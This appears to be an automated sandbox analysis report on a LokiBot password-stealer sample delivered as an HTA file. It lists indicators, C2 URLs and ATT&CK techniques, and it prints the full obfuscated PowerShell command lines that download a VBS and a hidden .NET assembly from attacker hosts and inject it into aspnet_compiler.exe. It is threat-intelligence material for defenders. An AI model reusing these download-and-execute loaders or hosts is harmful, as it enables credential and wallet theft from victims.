lokibot | 9c647bd2e704f2fb71d330972614c3a9e7cb9766c469c6a1323f9f4734cb8d06

Analysis

max time kernel
95s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
17-11-2024 01:14

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General

Target

ec97b59bc0398eb50eb842046e017755dbbc8d6764a6c26db85cd90853760669.hta
Size

178KB
MD5

5476ba599869d81abee08f38f1c1a1d9
SHA1

46748779ec123145fdf90942c9df65d0099c9a99
SHA256

ec97b59bc0398eb50eb842046e017755dbbc8d6764a6c26db85cd90853760669
SHA512

516531534bee5995295659464f480c6d12909668fdb623c0c02dd93c9055df7bb203833e4e84416b31ef923dff8057f76f0e850bb84c53096cac43cdf2d04edd
SSDEEP

96:4vCl172Xu01IhxXYcQu01IhPXYZxd7b2+sMdHeu01IhLu01Ih5XY4u01Iht5Q:4vCldarG1QrGsx92+KrGLrGZrGLQ

Score

10^/10

lokibot collection defense_evasion discovery execution spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Extracted

Family

lokibot

http://94.156.177.95/simple/five/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

Lokibot
Lokibot is a Password and CryptoCoin Wallet Stealer.
trojan spyware stealer lokibot
Lokibot family
lokibot
Blocklisted process makes network request 3 IoCs

Processes:

POwERsHeLl.EXEpowershell.exe

flow pid process

15 3756 POwERsHeLl.EXE
22 1892 powershell.exe
31 1892 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2444 powershell.exe
1892 powershell.exe
Evasion via Device Credential Deployment 2 IoCs
defense_evasion execution

Processes:

POwERsHeLl.EXEpowershell.exe

pid process

3756 POwERsHeLl.EXE
3180 powershell.exe

flow	pid	process
15	3756	POwERsHeLl.EXE
22	1892	powershell.exe
31	1892	powershell.exe

pid	process
2444	powershell.exe
1892	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exemshta.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	mshta.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

aspnet_compiler.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1892 set thread context of 4944 1892 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	pid	process	target process
PID 1892 set thread context of 4944	1892	powershell.exe	aspnet_compiler.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

csc.execvtres.exeWScript.exepowershell.exepowershell.exemshta.exePOwERsHeLl.EXEpowershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	POwERsHeLl.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

Processes:

POwERsHeLl.EXEpowershell.exepowershell.exepowershell.exe

pid	process
3756	POwERsHeLl.EXE
3756	POwERsHeLl.EXE
3180	powershell.exe
3180	powershell.exe
2444	powershell.exe
2444	powershell.exe
1892	powershell.exe
1892	powershell.exe
1892	powershell.exe
1892	powershell.exe
1892	powershell.exe
1892	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

POwERsHeLl.EXEpowershell.exepowershell.exepowershell.exeaspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	3756	POwERsHeLl.EXE
Token: SeDebugPrivilege	3180	powershell.exe
Token: SeDebugPrivilege	2444	powershell.exe
Token: SeDebugPrivilege	1892	powershell.exe
Token: SeDebugPrivilege	4944	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 36 IoCs

Processes:

mshta.exePOwERsHeLl.EXEcsc.exeWScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 5116 wrote to memory of 3756	5116	mshta.exe	POwERsHeLl.EXE
PID 5116 wrote to memory of 3756	5116	mshta.exe	POwERsHeLl.EXE
PID 5116 wrote to memory of 3756	5116	mshta.exe	POwERsHeLl.EXE
PID 3756 wrote to memory of 3180	3756	POwERsHeLl.EXE	powershell.exe
PID 3756 wrote to memory of 3180	3756	POwERsHeLl.EXE	powershell.exe
PID 3756 wrote to memory of 3180	3756	POwERsHeLl.EXE	powershell.exe
PID 3756 wrote to memory of 1964	3756	POwERsHeLl.EXE	csc.exe
PID 3756 wrote to memory of 1964	3756	POwERsHeLl.EXE	csc.exe
PID 3756 wrote to memory of 1964	3756	POwERsHeLl.EXE	csc.exe
PID 1964 wrote to memory of 2528	1964	csc.exe	cvtres.exe
PID 1964 wrote to memory of 2528	1964	csc.exe	cvtres.exe
PID 1964 wrote to memory of 2528	1964	csc.exe	cvtres.exe
PID 3756 wrote to memory of 2612	3756	POwERsHeLl.EXE	WScript.exe
PID 3756 wrote to memory of 2612	3756	POwERsHeLl.EXE	WScript.exe
PID 3756 wrote to memory of 2612	3756	POwERsHeLl.EXE	WScript.exe
PID 2612 wrote to memory of 2444	2612	WScript.exe	powershell.exe
PID 2612 wrote to memory of 2444	2612	WScript.exe	powershell.exe
PID 2612 wrote to memory of 2444	2612	WScript.exe	powershell.exe
PID 2444 wrote to memory of 1892	2444	powershell.exe	powershell.exe
PID 2444 wrote to memory of 1892	2444	powershell.exe	powershell.exe
PID 2444 wrote to memory of 1892	2444	powershell.exe	powershell.exe
PID 1892 wrote to memory of 948	1892	powershell.exe	aspnet_compiler.exe
PID 1892 wrote to memory of 948	1892	powershell.exe	aspnet_compiler.exe
PID 1892 wrote to memory of 948	1892	powershell.exe	aspnet_compiler.exe
PID 1892 wrote to memory of 4504	1892	powershell.exe	aspnet_compiler.exe
PID 1892 wrote to memory of 4504	1892	powershell.exe	aspnet_compiler.exe
PID 1892 wrote to memory of 4504	1892	powershell.exe	aspnet_compiler.exe
PID 1892 wrote to memory of 4944	1892	powershell.exe	aspnet_compiler.exe
PID 1892 wrote to memory of 4944	1892	powershell.exe	aspnet_compiler.exe
PID 1892 wrote to memory of 4944	1892	powershell.exe	aspnet_compiler.exe
PID 1892 wrote to memory of 4944	1892	powershell.exe	aspnet_compiler.exe
PID 1892 wrote to memory of 4944	1892	powershell.exe	aspnet_compiler.exe
PID 1892 wrote to memory of 4944	1892	powershell.exe	aspnet_compiler.exe
PID 1892 wrote to memory of 4944	1892	powershell.exe	aspnet_compiler.exe
PID 1892 wrote to memory of 4944	1892	powershell.exe	aspnet_compiler.exe
PID 1892 wrote to memory of 4944	1892	powershell.exe	aspnet_compiler.exe

outlook_office_path 1 IoCs

Processes:

aspnet_compiler.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe

outlook_win_path 1 IoCs

Processes:

aspnet_compiler.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	aspnet_compiler.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\ec97b59bc0398eb50eb842046e017755dbbc8d6764a6c26db85cd90853760669.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5116
- C:\Windows\SysWOW64\wIndOWSpoweRShEll\V1.0\POwERsHeLl.EXE
  "C:\Windows\sySTeM32\wIndOWSpoweRShEll\V1.0\POwERsHeLl.EXE" "pOWersHELl -EX byPass -Nop -W 1 -C DEVICecrEdEntialDEploymenT ; invoke-eXPrEssIOn($(invOKE-eXPrEsSION('[sYStem.TEXt.ENcODiNg]'+[chAR]58+[ChAR]58+'UtF8.gETstrInG([sYstem.cONVErt]'+[cHAr]58+[ChAR]0x3a+'frOMBASE64STriNg('+[ChAr]34+'JHBmWHRRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lbUJlcmRlRmluSVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpUa1puTFpUZ1RCLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxEQyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSGFwT1l2aWhjLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE5qUmNkQ2pXKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiT3JjWUR2USIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZXNwQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUEJvc0lTUiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGZYdFE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzMzL3NlZW15YmVzdHRoaW5nc3doaWNoY2FsbHlvdWJhYnlnaXJsd2hpY2hnaXZldWhvdGNoaWNrcy50SUYiLCIkRW5WOkFQUERBVEFcc2VlbXliZXN0dGhpbmdzd2hpY2hjYWxseW91YmFieWdpcmx3aGljaGdpdmV1aC52YlMiLDAsMCk7U3RBUnQtU0xlRVAoMyk7SUVYICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlblY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGljaGNhbGx5b3ViYWJ5Z2lybHdoaWNoZ2l2ZXVoLnZiUyI='+[ChaR]34+'))')))"
  2⤵
  - Blocklisted process makes network request
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3756
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX byPass -Nop -W 1 -C DEVICecrEdEntialDEploymenT
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3180
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\grwfjnff\grwfjnff.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1964
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDD12.tmp" "c:\Users\Admin\AppData\Local\Temp\grwfjnff\CSC1CF728A332DE47BAA5CB87D0FBF284F7.TMP"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2528
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seemybestthingswhichcallyoubabygirlwhichgiveuh.vbS"
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2612
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'aWVYICggKCgnM1pEaW1hZ2VVcmwgPSBJdWFodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9maWxla2V5PTJBYV9iV285UmV1NDV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0R3JuVElDZkZobVQnKydLJysnajNMQzZTUXRJY09jX1QzNXcmcGtfdmlkPWZkNGY2MTQnKydiYjIwJysnOWM2MmMxNzMwJysnOTQ1MTc2YTA5MCcrJzRmIEl1JysnYTszWkR3ZWJDbCcrJ2llbnQgPSBOZXctT2JqZWN0IFN5cycrJ3RlbS5OJysnZXQuV2ViQ2xpZW50OzNaRGltYWdlQnl0ZXMgPSAzWkR3ZWJDbGllbnQuRG93bmxvYWREYXRhKDNaRGltYWdlVXJsKTszWkRpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkcnKydldFN0cmluZycrJygzWkRpbWFnZUJ5dGVzKTszWkRzdGFydEZsJysnYWcgPSBJdWE8PEJBU0U2NF9TVEFSVD4+SXVhOzNaRGVuZEZsYWcgPSBJdWE8PEJBU0U2NF9FTkQ+Pkl1JysnYTszWkRzdGFydEluZGV4ID0gM1pEaW1hZ2UnKydUZXh0LkluZGV4T2YoM1pEc3RhcnRGbGFnKTszWkRlbmRJbmRleCA9IDNaRGltYWdlVGV4dC5JbmRleE9mKDNaRGVuZEZsJysnYWcpOzNaRHN0YXJ0SW5kZXggLWdlIDAgLWFuZCAzWkRlbmRJbmRleCAtZ3QgM1pEc3RhcnRJbmRleDszWkRzdGFydEluZGV4ICs9IDNaRHN0YXJ0RmxhZy5MZW5ndGg7M1pEYmFzZTY0TGVuZ3RoID0gM1onKydEZW5kSW5kZXggLSAzWkRzdGFydEluZGV4JysnOzNaJysnRGJhc2U2JysnNENvbW1hbmQgPSAzWkRpbWFnZVRleHQuU3Vic3RyaW5nKDNaRHN0YXJ0SW5kZXgsIDNaRGInKydhc2U2NExlbmcnKyd0aCk7M1pEYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoM1pEYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIHp3diBGb3JFYWNoLU9iamVjdCB7IDNaRF8gJysnfSlbLScrJzEuLi0oM1pEYmFzZTY0Q29tbWFuZC5MZW5ndCcrJ2gpXTszWkRjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKDNaRGJhc2U2NFJldmVyc2UnKydkKTszWkRsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGUnKydjdGlvbi5Bc3NlbWJseV06OkxvYWQoM1pEY29tbWFuZEJ5dGUnKydzKTszWkR2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZScrJ10uR2V0TWV0aG9kKEl1YVZBSUl1YSk7JysnM1pEdmFpTWV0aG9kLkludm9rZSgzWkRudWxsLCBAKEl1YXR4dC5LTEdPTC8zMy82MzEuMzQyLjMuMjkxLy86cCcrJ3R0aEl1YScrJywgSXVhZCcrJ2VzYXRpdmFkb0l1YSwgSXVhZGVzYXRpdmFkb0l1YSwgSXVhZGVzYXRpdicrJ2Fkb0l1YSwgSXVhYXNwbmV0X2NvbXBpbGVySXVhLCBJdWFkZXNhdGknKyd2YWRvSXVhLCBJdWFkZXNhdGl2YWRvSXVhLEl1JysnYWRlc2F0aXZhZG9JdWEsSXVhZGVzYXRpdmFkb0l1YSxJdWFkZXNhdGl2YWRvSXUnKydhLEl1YWRlc2F0aXZhZG9JdScrJ2EsSXVhZGVzYXRpdmFkb0l1YSxJJysndWExSXVhLEl1YWRlc2F0aXZhZG9JdWEpJysnKTsnKSAgLUNSZXBsYWNlKFtDaEFyXTczK1tDaEFyXTExNytbQ2hBcl05NyksW0NoQXJdMzkgLUNSZXBsYWNlKFtDaEFyXTUxK1tDaEFyXTkwK1tDaEFyXTY4KSxbQ2hBcl0zNi1DUmVwbGFjZSAgKFtDaEFyXTEyMitbQ2hBcl0xMTkrW0NoQXJdMTE4KSxbQ2hBcl0xMjQpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2444
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "ieX ( (('3ZDimageUrl = Iuahttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmT'+'K'+'j3LC6SQtIcOc_T35w&pk_vid=fd4f614'+'bb20'+'9c62c1730'+'945176a090'+'4f Iu'+'a;3ZDwebCl'+'ient = New-Object Sys'+'tem.N'+'et.WebClient;3ZDimageBytes = 3ZDwebClient.DownloadData(3ZDimageUrl);3ZDimageText = [System.Text.Encoding]::UTF8.G'+'etString'+'(3ZDimageBytes);3ZDstartFl'+'ag = Iua<<BASE64_START>>Iua;3ZDendFlag = Iua<<BASE64_END>>Iu'+'a;3ZDstartIndex = 3ZDimage'+'Text.IndexOf(3ZDstartFlag);3ZDendIndex = 3ZDimageText.IndexOf(3ZDendFl'+'ag);3ZDstartIndex -ge 0 -and 3ZDendIndex -gt 3ZDstartIndex;3ZDstartIndex += 3ZDstartFlag.Length;3ZDbase64Length = 3Z'+'DendIndex - 3ZDstartIndex'+';3Z'+'Dbase6'+'4Command = 3ZDimageText.Substring(3ZDstartIndex, 3ZDb'+'ase64Leng'+'th);3ZDbase64Reversed = -join (3ZDbase64Command.ToCharArray() zwv ForEach-Object { 3ZD_ '+'})[-'+'1..-(3ZDbase64Command.Lengt'+'h)];3ZDcommandBytes = [System.Convert]::FromBase64String(3ZDbase64Reverse'+'d);3ZDloadedAssembly = [System.Refle'+'ction.Assembly]::Load(3ZDcommandByte'+'s);3ZDvaiMethod = [dnlib.IO.Home'+'].GetMethod(IuaVAIIua);'+'3ZDvaiMethod.Invoke(3ZDnull, @(Iuatxt.KLGOL/33/631.342.3.291//:p'+'tthIua'+', Iuad'+'esativadoIua, IuadesativadoIua, Iuadesativ'+'adoIua, Iuaaspnet_compilerIua, Iuadesati'+'vadoIua, IuadesativadoIua,Iu'+'adesativadoIua,IuadesativadoIua,IuadesativadoIu'+'a,IuadesativadoIu'+'a,IuadesativadoIua,I'+'ua1Iua,IuadesativadoIua)'+');') -CReplace([ChAr]73+[ChAr]117+[ChAr]97),[ChAr]39 -CReplace([ChAr]51+[ChAr]90+[ChAr]68),[ChAr]36-CReplace ([ChAr]122+[ChAr]119+[ChAr]118),[ChAr]124))"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1892
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        6⤵
        
        PID:948
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        6⤵
        
        PID:4504
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        6⤵
        Accesses Microsoft Outlook profiles
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:4944

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\POwERsHeLl.EXE.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
12KB

MD5
181b25afd1eb1f7171177de7b0d78093

SHA1
cb187ae4309e2a9c20ca0a37519d807e2d86a5a4

SHA256
44b74326388baa8be1026cbc9021fb68e27f22287a49d6f50d309d31aecf49c2

SHA512
ccec6e3cfbbef9e21af470b03e737536dbfa7c41eb42e1eec584714d363d41d06fd09a8c1dd9c755b1f3ae3382b2f37b752a4ece12908104fd605b358f79a814

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
17KB

MD5
03c88f80647a415bc67137d9b35ef045

SHA1
625f6cceb57820c8954e5156d30cbbbb36f2e135

SHA256
e6e1fbbe02d81b38d0b2e3761bd4f643d3dcf700be0b7dabd500da0a34e1ae4b

SHA512
a5685da17b54a08b1da06f51cf074cd907b30c60011530100a5d9ef68c82e447ccc498768ec3780c9e504222d794df954fdefd3149d68a3994648be0527fadcb

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESDD12.tmp

Filesize
1KB

MD5
1dc6a6bcfd50bc54a31a0cec76c35f7e

SHA1
0a80c39cd082aefda00c79fbcf6eb05f5f569616

SHA256
b6933042c38322eff59629a700c9949373622787f5c2653525542083eb8fae51

SHA512
362d32e44a66875fe988261cfe5d301ee368c65262c046eded0ef4fe9f8639787e9f46307a3ab2eed29995b743d3aff742e100f53bbdfcf057475a4fa11c1e9c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c21vsibx.em2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\grwfjnff\grwfjnff.dll

Filesize
3KB

MD5
05130c50106e1f5a67a1d753f4882eb3

SHA1
4167013441b97adce38e371395048a4fe9523487

SHA256
2d02a936ca186e3bd19c80fad55b27cd44082103aae05c2fc6186a7e022fd381

SHA512
590e427272b2294d68248ba8f32cf0c312599785f40a79fdcae0f9335b478e7d04ec9d7840673382c566fbe6d9b1748e4e1c0c810d5ea589f1e8ccbd2a66bf04

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3442511616-637977696-3186306149-1000\0f5007522459c86e95ffcc62f32308f1_5ab270f5-f3a9-47d1-97d7-bbd50acf9955

Filesize
46B

MD5
d898504a722bff1524134c6ab6a5eaa5

SHA1
e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

SHA256
878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

SHA512
26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3442511616-637977696-3186306149-1000\0f5007522459c86e95ffcc62f32308f1_5ab270f5-f3a9-47d1-97d7-bbd50acf9955

Filesize
46B

MD5
c07225d4e7d01d31042965f048728a0a

SHA1
69d70b340fd9f44c89adb9a2278df84faa9906b7

SHA256
8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

SHA512
23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

Download Submit
C:\Users\Admin\AppData\Roaming\seemybestthingswhichcallyoubabygirlwhichgiveuh.vbS

Filesize
140KB

MD5
7450b95ac8fa59e12e46a4c2a6cf36ed

SHA1
f1e5ec3acdd59283ccaf7611f572ccbbd4009b63

SHA256
12a0a30bf86b8a8eb35e4309a523faf7673c467dc623f3cfb09fcd45fc4fc139

SHA512
951b71eddd8c390e9bb37585f8865e7e7343a967a62321edd74b06d9474df3f0c8c5440a91e96d672d5369b181828c655f28d233f5e3a5fb6945c48ef808b754

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\grwfjnff\CSC1CF728A332DE47BAA5CB87D0FBF284F7.TMP

Filesize
652B

MD5
9449dbffc90608e752d17df4b00cd996

SHA1
43f0bf275f0810494d945a686c2fda5aa092305a

SHA256
f6f5997b5b80d31fed268fb47c839933d83c6500aab4406caf4ac74435b7ffa1

SHA512
92ffb6929f3c58cf5005d41be632d9125c4b79585e431be337701493ba7293ee4e25a28945d9d85d02b7c4e9267b549eefa0e7efd238514ad1777b148c9fdd45

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\grwfjnff\grwfjnff.0.cs

Filesize
484B

MD5
8fc8053789ede73b926da0b3d6b6ab73

SHA1
feb5351771dc5474c1e18579123e3a5320b12120

SHA256
da39f89715a7d00579cddd1c02ab586ed7b0c24618cb54555cd37a50d92dc9ab

SHA512
271ce0712b57e18229515700cc941d34534ce5b0f6209c086b3f71e93a32ae70882c537ac416b96d08b8c4cc25064c6870336a30b3512c1a932a4445b2468644

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\grwfjnff\grwfjnff.cmdline

Filesize
369B

MD5
6e1a7a7f61c1dc50c3a146dd7dc688ed

SHA1
b0cff806cc3c1600613a11b7c1be49186bcd29b0

SHA256
598be4f1a57dd8d6fb8b06a4059853a66d210ae23573ce47a3953b0fd9fe0704

SHA512
4dd794de6b31e2317bf935f214d856aeed5cf4ca9351f418ef3dd757bfccb69846fe7c2e8d60e9a132feaf61df83cdba17ec82e58cabb0529a94f0342b49e39d

Download Submit
memory/1892-102-0x0000000007D50000-0x0000000007DEC000-memory.dmp

Filesize
624KB

Download
memory/1892-101-0x0000000007BF0000-0x0000000007D48000-memory.dmp

Filesize
1.3MB

Download
memory/2444-89-0x00000000056D0000-0x0000000005A24000-memory.dmp

Filesize
3.3MB

Download
